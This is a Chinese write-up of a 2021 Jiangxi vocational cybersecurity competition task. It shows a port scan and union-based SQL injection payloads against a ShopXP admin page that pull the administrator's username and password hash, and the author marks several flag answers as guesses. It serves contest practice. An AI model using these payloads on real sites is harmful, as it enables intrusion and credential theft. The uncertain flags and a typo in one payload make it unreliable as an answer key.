2021年中职“网络安全“江西省赛题—B-4:SQL注入测试(PL)

简介: 2021年中职“网络安全“江西省赛题—B-4:SQL注入测试(PL)

B-4:SQL注入测试(PL)

任务环境说明:

 服务器场景:Server12

 服务器场景操作系统:未知(关闭链接)


1.已知靶机存在网站系统,使用Nmap工具扫描靶机端口,并将网站服务的端口号作为Flag(形式:Flag字符串)值提交。

nmap -p- ip -sV 扫描靶机





20a0fc9325884cb080df01d4dd3980a1.png


flag:[8089]


2.访问网站/admin/pinglun.asp页面,此页面存在SQL注入,使用排序语句进行列数猜测,将语句作为Flag(形式:URL无空格)值提交。

在url后一行写入?id=79 输入79是因为id=1没有任何回显,一直猜,猜到79的



注入语句:?id=79 order by 1进行列数猜测



一直猜测下去,猜到12报错,有11列

这题flag,我没有标准答案,存在争议,暂时定为这个把 flag:[order by]


3.页面没有返回任何有用信息·,尝试使用联合查询进行SQL注入,构建基本查询语句进行SQL注入,将语句作为Flag(形式:语句无空格)值提交。

尝试使用联合查询的方式进行查找信息,因为这个网站是shopXP,而ShopXP的默认数据库名称叫做shopxp_admin,尝试对其进行测试,

934522120dc549d099aa747f4f85f513.png


注入语句:?id=79 union select 1,2,3,4,5,6,7,8,9,10,11 from shopxp_admin


flag:[union select] 还是那句话,没有标准答案,不敢保证这是真的flag

4. 使用联合查询进行列数猜测,构建常规的联合查询列数猜测语句,将出现在文本框里4个字段的序号作为Flag值(形式:F1.F2.F3.F4)提交。

flag:[3:5:6:10]


5.构建注入语句,查询数据库中管理员的敏感信息,将获取到密码信息作为Flag值(形式:Flag字符串)提交。

通过第三题的sql注入语句,服务端才返回了第3、5、6、10个字段的结果。通过替换这四个位置的字段,来达到任意数据读取的目的。

sql注入语句:?id=79 union select 1,2,admin,4,password,6,7,8.9,10,11 from shopxp_admin



63844197edc44569bb808fbe118c8c31.png


获得管理员用户名:admin 密码为MD5加密后的值。

flag:[admin]

目录
相关文章
|
4天前
|
SQL 存储 数据库
Python 的安全性和测试:什么是 SQL 注入攻击?如何防范 SQL 注入?
Python 的安全性和测试:什么是 SQL 注入攻击?如何防范 SQL 注入?
|
5月前
|
安全 测试技术 网络安全
2022年中职“网络安全“江西省赛题—B-4:Web安全深入测试
2022年中职“网络安全“江西省赛题—B-4:Web安全深入测试
68 1
|
4天前
|
SQL 安全 关系型数据库
接上篇文章,在测试宝塔 WAF 的未授权访问漏洞时无意间还发现了一个 SQL 注入漏洞
接上篇文章,在测试宝塔 WAF 的未授权访问漏洞时无意间还发现了一个 SQL 注入漏洞,品相还不错,可执行任意 SQL 语句。 总之,吃了一惊,一个防 SQL 注入的工具居然也有 SQL 注入漏洞。 请看这段代码
435 1
|
4天前
|
SQL 测试技术 网络安全
Python之SQLMap:自动SQL注入和渗透测试工具示例详解
Python之SQLMap:自动SQL注入和渗透测试工具示例详解
28 0
|
4天前
|
SQL 安全 测试技术
2021年职业院校技能大赛“网络安全”项目 江西省比赛任务书—B模块
B模块涵盖安全事件响应和网络数据取证,涉及多项应用安全挑战。任务包括使用nmap扫描靶机、弱口令登录、生成反弹木马、权限验证、系统内核版本检查、漏洞源码利用、文件名和内容提取等。此外,还有Linux渗透测试,要求访问特定目录下的文件并提取内容。应用服务漏洞扫描涉及服务版本探测、敏感文件发现、私钥解密、权限提升等。SQL注入测试需利用Nmap扫描端口,进行SQL注入并获取敏感信息。应急响应任务包括处理木马、删除恶意用户、修复启动项和清除服务器上的木马。流量分析涉及Wireshark数据包分析,查找黑客IP、枚举测试、服务破解等。渗透测试任务涵盖系统服务扫描、数据库管理、漏洞利用模块搜索等。
25 0
|
4天前
|
监控 安全 网络安全
2021年职业院校技能大赛“网络安全”项目 江西省比赛任务书—A模块
该文档是关于企业服务器系统安全加固的任务描述,包括A模块的六个部分:登录安全、Web安全、流量保护与事件监控、防火墙策略、Windows和Linux操作系统安全配置。任务涉及设置密码和登录策略、启用安全日志、限制非法访问、调整防火墙规则、加强操作系统安全和优化服务配置等,以提升网络安全防御能力。每个部分都有具体的配置截图要求,并需按照指定格式保存提交。
16 0
|
5月前
|
SQL 测试技术 网络安全
2023年中职“网络安全“—Web 深入测试②
2023年中职“网络安全“—Web 深入测试②
66 0
|
4天前
|
SQL 编译器 网络安全
【网络安全 | SQL注入】一文讲清预编译防御SQL注入原理
【网络安全 | SQL注入】一文讲清预编译防御SQL注入原理
106 0
|
4天前
|
SQL 安全 关系型数据库
【网络安全】SQL注入
【网络安全】SQL注入
126 0
【网络安全】SQL注入
|
5月前
|
前端开发 测试技术 网络安全
2023年中职“网络安全“—Web 深入测试①
2023年中职“网络安全“—Web 深入测试①
59 1